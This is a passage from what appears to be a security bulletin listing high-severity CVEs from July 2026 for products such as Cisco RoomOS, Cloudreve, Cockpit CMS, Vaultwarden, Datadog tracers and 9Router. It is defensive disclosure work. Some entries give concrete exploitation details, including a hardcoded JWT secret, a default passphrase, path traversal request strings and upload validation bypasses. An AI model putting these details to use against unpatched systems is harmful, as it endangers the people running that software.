| Cisco--Cisco RoomOS Software | As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco RoomOS engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20150 are related to improper access control&nbsp;that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-15 | 8.8        | <a href="#">CVE-2026-20150</a> |
| Cisco--Cisco RoomOS Software | As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco RoomOS engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20156 are related to improper restriction of operations within the bounds of a memory buffer that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-119.                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-15 | 8.1        | <a href="#">CVE-2026-20156</a> |
| Cisco--Cisco RoomOS Software | As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco RoomOS engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20153 are related to improper input validation that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-20.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-15 | 7.5        | <a href="#">CVE-2026-20153</a> |
| Cisco--Cisco RoomOS Software | As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco RoomOS engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20157 are related to missing encryption that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-311.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-15 | 7.5        | <a href="#">CVE-2026-20157</a> |
| Cisco--Cisco RoomOS Software | As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco RoomOS engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-15 | 7.5        | <a href="#">CVE-2026-20158</a> |

# High Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                              | addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20158 are related to improper control of a resource through its lifetime that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-664.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| Cisco--Cisco RoomOS Software | As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco RoomOS engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20187 are related to improper handling of exceptional conditions that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-703.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-15 | 7.5        | <a href="#">CVE-2026-20187</a> |
| Cloudflare--quiche           | Summary Cloudflare quiche's HTTP/3 layer was discovered to be vulnerable to resource exhaustion (i.e., memory) by means of specially crafted HTTP/3 frames. Impact HTTP/3 defines multiple frame types to support HTTP message exchanges and connection management. Each frame has a length and a payload whose length depends on the frame type. quiche was found to be vulnerable when parsing some frame types to pre-allocating memory based on the declared length. An attacker would not need to send the number of declared bytes to trigger this issue. In addition, quiche was found to not apply QPACK decompression limits correctly. This could allow an attacker to send specially crafted HEADERS frames that would cause more memory commitment than otherwise advertised by MAX_FIELD_SECTION_SIZE (configured by set_max_field_section_size()). Mitigation: * Users are requested to upgrade to quiche 0.29.3 which is the earliest version containing the fix for this issue. Credits: Disclosed responsibly by SÃ©bastien FÃ©ry                                                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-12523</a> |
| Cloudflare--quiche           | Summary Cloudflare quiche was discovered to be vulnerable to memory resource exhaustion due to unbounded queuing of post-handshake client migration events. Impact quiche supports the connection migration features described in Section 9 of RFC 9000, which allows a single QUIC connection to survive changes in the network path. Although quiche implements the protections described in Section 9.3 of RFC 9000 to limit server state commitment, it was discovered that the collection of PathEvents, intended to be consumed by applications via the path_event_next() function, was not bounded. Once the QUIC handshake completed, a peer could exploit rapid source address migration in order to cause unbounded queuing of the PathEvent::ReusedSourceConnectionId type. Servers are vulnerable even if active connection migration is disabled. Mitigation: * Applications can call path_event_next() to drain the PathEvent collection, mitigating the attack. * Users are requested to upgrade to quiche 0.29.3 which is the earliest version that prevents excessive queueing of PathEvent::ReusedSourceConnectionId. | 2026-07-14 | 7.5        | <a href="#">CVE-2026-12707</a> |
| cloudreve--cloudreve         | Cloudreve is a self-hosted file management and sharing system. From 4.12.0 until 4.16.1, Cloudreve's OAuth access tokens are issued without the OAuth client_id claim, so the JWT verifier does not load token scopes into request context and RequiredScopes treats the request like non-scoped session authentication, allowing a low-scope OAuth access token to call APIs requiring higher scopes such as file, share, workflow, user setting, WebDAV account, and potentially admin scopes. This issue is fixed in version 4.16.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-15 | 7.6        | <a href="#">CVE-2026-54560</a> |
| cloudreve--cloudreve         | Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, a Cloudreve WebDAV account rooted at a configured folder can send paths such as /dav/%2e%2e/outside.txt because stripPrefix in pkg/webdav/webdav.go joins the decoded request suffix to the account root with fs.URI.JoinRaw without checking containment, allowing the scoped credential to read and list files outside the configured folder and writable credentials to create, overwrite, move, or delete them. This issue is reported as fixed in version 4.16.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-15 | 7.1        | <a href="#">CVE-2026-54563</a> |
| Cockpit HQ--Cockpit CMS      | Cockpit CMS contains a missing authorization vulnerability in the Bucket file storage API (/system/buckets/api). The api() method in modules/System/Controller/Buckets.php executes bucket commands (ls, upload, removefiles, rename, createfolder) without performing any ACL or role check. Any authenticated user, regardless of role, can perform all bucket operations on any named bucket, including buckets intended for admin use only.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-13 | 8.8        | <a href="#">CVE-2026-57855</a> |
| Cockpit HQ--Cockpit CMS      | Cockpit CMS contains a path traversal vulnerability in the Bucket file storage API (/system/buckets/api). The api() method in modules/System/Controller/Buckets.php sanitizes the bucket name with preg_replace('/[^a-zA-Z0-9-_\.\,]/', '', \$bucket), which permits '..' and './' sequences. The sanitized value is interpolated into a Flysystem path as uploads://buckets/{bucket}. Flysystem's WhitespacePathNormalizer resolves 'buckets/..' to the empty string (the uploads storage root) without raising                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-13 | 8.8        | <a href="#">CVE-2026-57856</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                  | PathTraversalDetected because the '..' has a preceding component to consume. An authenticated low-privileged user can send a crafted request with a '..' bucket name to list, upload, and delete files across all buckets, including those belonging to other users or roles                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| code-projects--Hospital Bed Management System                                                    | A vulnerability was found in code-projects Hospital Bed Management System 1.0. This affects an unknown part of the component Login Form. Performing a manipulation of the argument Username results in sql injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-17 | 7.3        | <a href="#">CVE-2026-16014</a> |
| code-projects--Online Job Portal                                                                 | A vulnerability was identified in code-projects Online Job Portal 1.0. The affected element is an unknown function of the file /Admin/EditUser.php. Such manipulation of the argument UserId leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.3        | <a href="#">CVE-2026-15675</a> |
| code-projects--Online Job Portal                                                                 | A security flaw has been discovered in code-projects Online Job Portal up to 1.0. The impacted element is an unknown function of the file /Admin/DeleteUser.php. Performing a manipulation results in sql injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 7.3        | <a href="#">CVE-2026-15676</a> |
| code-projects--Online Job Portal                                                                 | A weakness has been identified in code-projects Online Job Portal 1.0. This affects an unknown function of the file /JobSeekerInsert.php. Executing a manipulation of the argument txtFile can lead to unrestricted upload. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-14 | 7.3        | <a href="#">CVE-2026-15677</a> |
| codecentric--spring-boot-admin                                                                   | Spring Boot Admin Server before 4.1.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to register instances with attacker-controlled healthUrl and managementUrl parameters without validation against private IP ranges or metadata endpoints. Attackers can force the server to make HTTP requests to arbitrary internal addresses and retrieve response bodies via the actuator proxy to exfiltrate cloud credentials.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 8.6        | <a href="#">CVE-2026-62242</a> |
| codeigniter4--CodeIgniter4                                                                       | CodeIgniter is a PHP full-stack web framework. Prior to 4.7.3, the ext_in upload validation rule in system/Validation/StrictRules/FileRules.php checked the MIME-derived guessed extension instead of the client-provided filename extension. As a result, an uploaded file named shell.php containing GIF-like content could pass validation such as<br>uploaded[avatar] is_image[avatar] mime_in[avatar,image/gif] ext_in[avatar,gif] because the detected MIME type maps to gif, even though the uploaded filename extension is php. Applications are impacted if they accept user-controlled uploads, rely on ext_in to validate the uploaded filename extension, save uploaded files using the original client filename with \$file->move(\$path), store uploads in a web-accessible directory, and allow PHP or other executable files to run from that directory. In those conditions, this may lead to arbitrary code execution. This issue is fixed in version 4.7.3. | 2026-07-17 | 9.8        | <a href="#">CVE-2026-48062</a> |
| Codemenschen--Gift Vouchers                                                                      | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Codemenschen Gift Vouchers gift-voucher allows Stored XSS.This issue affects Gift Vouchers: from n/a through <= 4.7.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57415</a> |
| CodeRevolution--Aimogen Pro                                                                      | Unrestricted Upload of File with Dangerous Type vulnerability in CodeRevolution Aimogen Pro aimogen-pro allows Using Malicious Files.This issue affects Aimogen Pro: from n/a through <= 2.8.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 10         | <a href="#">CVE-2026-57719</a> |
| CodeRevolution--Aimogen Pro - All-in-One AI Content Writer, Editor, ChatBot & Automation Toolkit | The Aimogen Pro - All-in-One AI Content Writer, Editor, ChatBot & Automation Toolkit plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.8.4. This is due to due to a missing capability check on the 'aiomatic_call_google_ai_function' function. This makes it possible for unauthenticated attackers to leverage the 'aimogen_wp_god_mode' tool to clear function blacklists and execute arbitrary PHP functions, such as creating administrator accounts.                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-17 | 9.8        | <a href="#">CVE-2026-15982</a> |
| CodexThemes--TheGem Theme Elements (for Elementor)                                               | Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) thegem-elements-elementor allows PHP Local File Inclusion.This issue affects TheGem Theme Elements (for Elementor): from n/a through <= 5.11.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57804</a> |
| composer--composer                                                                               | Composer is a dependency Manager for the PHP language. Prior to 1.10.28, 2.2.28, and 2.9.8, Composer\IO\BaseIO::loadConfiguration() validates GitHub OAuth tokens with the regex ^[A-Za-z0-9_]+\$ and interpolates rejected tokens into an UnexpectedValueException; GitHub Actions GITHUB_TOKEN values using the ghs_<id>_<base64url-JWT> format can contain -, fail validation, and be disclosed to stderr or CI logs. This issue is fixed in versions 1.10.28, 2.2.28, and 2.9.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-15 | 7.5        | <a href="#">CVE-2026-45793</a> |

# High Vulnerabilities

| Primary Vendor -- Product                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| coredns--coredns                           | CoreDNS is a DNS server written in Go. Prior to 1.14.4, a single 28-byte UDP datagram can crash the CoreDNS process when the proxyproto plugin is enabled because plugin/pkg/proxyproto/proxyproto.go PacketConn.ReadFrom handles a PROXY v2 header with non-UDP transport such as family byte 0x11, reassigns addr from a nil readFrom result after parseProxyProtocol errors, and calls addr.String() in the warning log before ServeDNS recovery applies. This issue is fixed in version 1.14.4.                                                                                                                                                                                                                                                                                                                    | 2026-07-16 | 7.5        | <a href="#">CVE-2026-62309</a> |
| CreativeWS--CWS SVGIcons                   | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in CreativeWS CWS SVGIcons cws-svgicons allows Blind SQL Injection.This issue affects CWS SVGIcons: from n/a through <= 1.5.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 8.5        | <a href="#">CVE-2026-57787</a> |
| crewAllInc--crewAI                         | CrewAI before 1.15.1 contains a server-side request forgery vulnerability in the validate_url function that performs one-shot DNS resolution and blocklist checks before returning the original URL unchanged. Attackers can bypass the security filter by supplying URLs that redirect to internal addresses or use DNS rebinding techniques to access internal services and cloud metadata endpoints.                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 7.4        | <a href="#">CVE-2026-62240</a> |
| CRM Perks--Contact Form Entries            | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CRM Perks Contact Form Entries contact-form-entries allows Reflected XSS.This issue affects Contact Form Entries: from n/a through <= 1.5.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57708</a> |
| CRM Perks--CRM Perks Forms                 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CRM Perks CRM Perks Forms crm-perks-forms allows Reflected XSS.This issue affects CRM Perks Forms: from n/a through <= 1.1.7.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57421</a> |
| crowdsecurity--crowdsec                    | CrowdSec offers crowdsourced protection against malicious IPs. From 1.5.0 until 1.7.8, pkg/appsec/request.go NewParsedRequestFromRequest allocated a request body buffer from max(r.ContentLength, 0), so HTTP/1.1 requests using Transfer-Encoding: chunked and HTTP/2 requests without a content-length header produced an empty body and caused WAF rules targeting REQUEST_BODY, BODY_ARGS, ARGS_POST, JSON, or XML to be skipped. This issue is fixed in version 1.7.8.                                                                                                                                                                                                                                                                                                                                           | 2026-07-16 | 7.2        | <a href="#">CVE-2026-44982</a> |
| cure53--DOMPurify                          | DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. In 3.4.4, DOMPurify allowed selectedcontent by default, allowing browsers to re-clone an XSS payload after sanitization so that unsanitized markup inside <selectedcontent> is returned. This issue is fixed in version 3.4.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 8.2        | <a href="#">CVE-2026-47423</a> |
| cyberlord92--SAML Single Sign On SSO Login | The SAML Single Sign On - SSO Login plugin for WordPress is vulnerable to Authentication Bypass via SAML Signature Algorithm Confusion in all versions up to, and including, 5.4.3. The vulnerability exists because 'Mo_SAML_Uilities::mo_saml_cast_key()' reads the 'SignatureMethod' Algorithm attribute directly from the attacker-controlled 'SAMLResponse' parameter rather than enforcing the locally configured algorithm, causing the plugin to recast the IdP's RSA public key as an HMAC-SHA1 shared secret and validate the forged signature against it. This makes it possible for unauthenticated attackers to forge a SAML assertion targeting any WordPress account - including administrators - obtain valid WordPress authentication cookies, and achieve full administrator-level account takeover. | 2026-07-16 | 9.8        | <a href="#">CVE-2026-15013</a> |
| czlonkowski--n8n-mcp                       | n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to 2.56.1, in HTTP mode with multi-tenancy enabled through ENABLE_MULTI_TENANT=true, n8n-mcp's local workflow version history backups were not isolated per tenant, allowing an authenticated tenant to read workflow version snapshots belonging to other tenants and delete or destroy other tenants' stored backups, including full node definitions, credential references, and authorization headers. This issue is fixed in version 2.56.1.                                                                                                                                                                                                                                             | 2026-07-15 | 9.9        | <a href="#">CVE-2026-54052</a> |
| Dan Rossiter--Document Gallery             | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dan Rossiter Document Gallery document-gallery allows Reflected XSS.This issue affects Document Gallery: from n/a through <= 5.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57695</a> |
| Dan-in-CA--SIP                             | Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a command injection vulnerability in the optional cli_control plugin that allows unauthenticated or cross-site request forgery attackers to execute arbitrary operating-system commands by storing a malicious payload via the plugin's HTTP endpoint. Attackers can trigger execution by activating the associated irrigation station, exploiting the absence of passphrase protection or the default passphrase 'opendoor', to achieve arbitrary command execution on the underlying host.                                                                                                                                                                                                                                                     | 2026-07-14 | 9.8        | <a href="#">CVE-2026-58479</a> |
| Dan-in-CA--SIP                             | Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a cross-site request forgery vulnerability that allows remote attackers to perform state-changing administrative actions by luring a logged-in administrator into visiting a                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 8.1        | <a href="#">CVE-2026-58476</a> |

# High Vulnerabilities

| Primary Vendor -- Product                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                             | malicious page that issues HTTP GET requests without CSRF token validation or origin verification. Attackers can trigger actions such as disabling the passphrase, rebooting the device, deleting programs, or installing plugins, with the default configuration exposing these endpoints to unauthenticated users due to no required passphrase and a default credential of 'opendoor'.                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| Dan-in-CA--SIP                              | Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a mass assignment vulnerability that allows unauthenticated attackers to overwrite sensitive configuration settings by supplying arbitrary parameter names in HTTP requests. Attackers can manipulate parameters corresponding to sensitive values such as the passphrase and listening port, and can also achieve the same result through cross-site request forgery due to the absence of adequate request validation.                                                                                                                                                                                                                                 | 2026-07-14 | 8.2        | <a href="#">CVE-2026-58477</a> |
| Dan-in-CA--SIP                              | Sustainable Irrigation Platform (SIP) through version 5.2.16 contains a path traversal vulnerability that allows attackers with access to the restore functionality to write files to arbitrary locations by uploading crafted JSON backup files with unvalidated keys used to construct file paths. Attackers can exploit the lack of key validation in the JSON restore process, combined with the absence of a required passphrase in the default configuration or the default passphrase 'opendoor', to write arbitrary JSON files outside the intended data directory.                                                                                                                                                    | 2026-07-14 | 7.5        | <a href="#">CVE-2026-60114</a> |
| dani-garcia--vaultwarden                    | Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.36.0, Vaultwarden's SSO authorization flow did not bind the OAuth state parameter accepted by /connect/authorize to the initiating browser session, allowed attacker-controlled PKCE parameters, and left SsoAuth records intact after failed token exchange, allowing an unauthenticated attacker to induce IdP authentication and redeem tokens for a fully authenticated session. This issue is fixed in version 1.36.0.                                                                                                                                                                                                                           | 2026-07-15 | 8.3        | <a href="#">CVE-2026-47158</a> |
| dani-garcia--vaultwarden                    | Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.36.0, Vaultwarden's SSO login flow checked the IdP email_verified claim only for new-user creation and not when SSO_SIGNUPS_MATCH_EMAIL=true linked an IdP identity to an existing local account, allowing an attacker-controlled IdP identity asserting a victim email address to bind to and authenticate as that account. This issue is fixed in version 1.36.0.                                                                                                                                                                                                                                                                                   | 2026-07-15 | 7.7        | <a href="#">CVE-2026-47164</a> |
| Dassault Systmes--Tuleap Enterprise Edition | An Authorization Bypass Through User-Controlled Key vulnerability affecting Tuleap Enterprise Edition from 17.0 through 17.5 could allow an attacker to access data of other users without authorization.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 7.5        | <a href="#">CVE-2026-14165</a> |
| DataDog--dd-trace-dotnet                    | Datadog .NET Tracer is a client library for Datadog APM for .NET applications. Prior to 3.43.0, Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES on extraction, allowing a remote unauthenticated attacker to send a baggage header with many comma-separated key-value pairs or one very large value and cause unbounded CPU and memory consumption in services with baggage propagation enabled. This issue is fixed in version 3.43.0.                                                                                                                                                       | 2026-07-17 | 7.5        | <a href="#">CVE-2026-50273</a> |
| DataDog--dd-trace-go                        | Datadog dd-trace-go is a Go client library for Datadog application performance monitoring, profiling, and security monitoring. Prior to 2.8.1, Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES limits on the extract path. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs or a single very large value, causing unbounded CPU and memory consumption and enabling a remote denial of service against HTTP services with baggage propagation enabled. This issue is fixed in version 2.8.1. | 2026-07-17 | 7.5        | <a href="#">CVE-2026-50274</a> |
| DataDog--dd-trace-js                        | dd-trace is the Datadog APM client for Node.js. Prior to 5.100.0, W3C baggage propagation in packages/dd-trace/src/baggage.js and packages/dd-trace/src/opentracing/propagation/text_map.js parsed incoming baggage HTTP headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES on extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs, or a single very large value, causing unbounded CPU and memory consumption and enabling a remote denial of service against any HTTP service with baggage propagation enabled. This issue is fixed in version 5.100.0.                           | 2026-07-17 | 7.5        | <a href="#">CVE-2026-50272</a> |
| DataDog--dd-trace-py                        | Datadog dd-trace-py is the Datadog Python APM client. Prior to 4.8.2, Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-17 | 7.5        | <a href="#">CVE-2026-50271</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | HTTP headers without enforcing DD_TRACE_BAGGAGE_MAX_ITEMS or DD_TRACE_BAGGAGE_MAX_BYTES limits on the extract path. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs or a single very large value, causing unbounded CPU and memory consumption and enabling a remote denial of service against HTTP services with baggage propagation enabled. This issue is fixed in version 4.8.2.                                                                                        |            |            |                                |
| DD-WRT--DD-WRT            | An issue was discovered in router/upnp/src/ssdp.c in DD-WRT before 45724. An unsafe strcpy in the UPnP handling functionality allows an unauthenticated remote attacker to send a request that would overflow an internal fixed buffer. Exploitation requires the DD-WRT user to enable UPnP (which is off by default, and only listens on internal interfaces by default). This occurs in ssdp_msearch (reachable by an M-SEARCH request).                                                                                                                                    | 2026-07-16 | 8.1        | <a href="#">CVE-2021-27137</a> |
| decolua--9Router          | 9Router through version 0.4.41 contains an unauthenticated access vulnerability that allows remote attackers to interact with provider management API endpoints by sending requests without any credentials due to missing authentication middleware in the Next.js API routes under src/app/api/providers/*. Attackers can enumerate, create, modify, or delete provider connections to expose partial credentials, OAuth tokens, and API keys, redirect AI traffic to attacker-controlled servers, or cause complete denial of service by deleting all provider connections. | 2026-07-13 | 9.8        | <a href="#">CVE-2026-59801</a> |
| decolua--9Router          | 9Router through version 0.4.41 contains an unauthenticated information disclosure vulnerability that allows remote attackers to retrieve plaintext API keys for all connected AI provider accounts by sending a single unauthenticated request to the /api/usage/stats endpoint. Attackers can exploit the missing authentication middleware on the Next.js API route to obtain full API key strings alongside token counts, cost breakdowns, and request metadata, enabling unauthorized use of connected AI provider accounts, billing fraud, and quota exhaustion.          | 2026-07-13 | 9.1        | <a href="#">CVE-2026-62327</a> |
| decolua--9Router          | 9Router through version 0.4.41 contain an unauthenticated information disclosure vulnerability that allows remote attackers to access sensitive user data by sending requests to unprotected API endpoints. Attackers can enumerate paginated request logs and retrieve complete AI conversation histories including system prompts, user messages, assistant responses, tool calls, and user email addresses by querying the request-logs and request-details API routes which lack authentication middleware.                                                                | 2026-07-13 | 7.5        | <a href="#">CVE-2026-62328</a> |
| decolua--9router          | 9Router is an AI router & token saver. From 0.4.30 until 0.4.37, 9Router's src/proxy.js middleware did not protect /api/cli-tools/* and /api/mcp/*, allowing unauthenticated registration of customPlugins through src/app/api/cli-tools/cowork-settings/route.js and command execution through the MCP bridge. This vulnerability is fixed in 0.4.37.                                                                                                                                                                                                                         | 2026-07-15 | 10         | <a href="#">CVE-2026-46339</a> |
| decolua--9router          | 9Router is an AI router & token saver. From 0.2.21 until 0.4.44, 9Router used the hardcoded fallback JWT secret 9router-default-secret-change-me in src/app/api/auth/login/route.js, src/middleware.js, and later src/lib/auth/dashboardSession.js, allowing attackers to forge an auth_token cookie when JWT_SECRET was unset. This issue is fixed in version 0.4.44                                                                                                                                                                                                          | 2026-07-15 | 9.8        | <a href="#">CVE-2026-49352</a> |
| decolua--9router          | 9Router is an AI router & token saver. Prior to 0.5.2, 9Router allows a remote authenticated attacker to achieve arbitrary code execution on the host operating system by combining a Host header bypass of localhost-only routes with unvalidated MCP plugin args passed to child_process.spawn(), allowing malicious custom plugins to execute commands through /api/mcp//sse. This issue is fixed in version 0.5.2.                                                                                                                                                         | 2026-07-15 | 8.8        | <a href="#">CVE-2026-62312</a> |
| decolua--9router          | 9Router is an AI router & token saver. In 0.4.45 and earlier, 9Router's src/dashboardGuard.js local-only access gate used Host and Origin headers in isLocalRequest() to protect /api/mcp/*, /api/tunnel/*, and /api/cli-tools/*, allowing header spoofing in reverse proxy or tunnel deployments to reach MCP child process stdin paths.                                                                                                                                                                                                                                      | 2026-07-15 | 7.5        | <a href="#">CVE-2026-49353</a> |
| Dell--PowerScale OneFS    | Dell PowerScale OneFS versions 9.5.0.0 through 9.10.1.7, versions 9.11.0.0 through 9.13.0.2 contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information disclosure.                                                                                                                                                                                                                                                                           | 2026-07-15 | 7.8        | <a href="#">CVE-2026-40633</a> |
| Dell--ThinOS 10           | Dell ThinOS 10, versions prior to 2605_10.2100, contain an Obsolete Feature in UI vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Unauthorized access.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-15 | 7.8        | <a href="#">CVE-2026-56687</a> |
| denishua--WPJAM Basic     | Deserialization of Untrusted Data vulnerability in denishua WPJAM Basic wpjam-basic allows Object Injection.This issue affects WPJAM Basic: from n/a through <= 7.0.                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 8.8        | <a href="#">CVE-2026-57371</a> |



# High Vulnerabilities

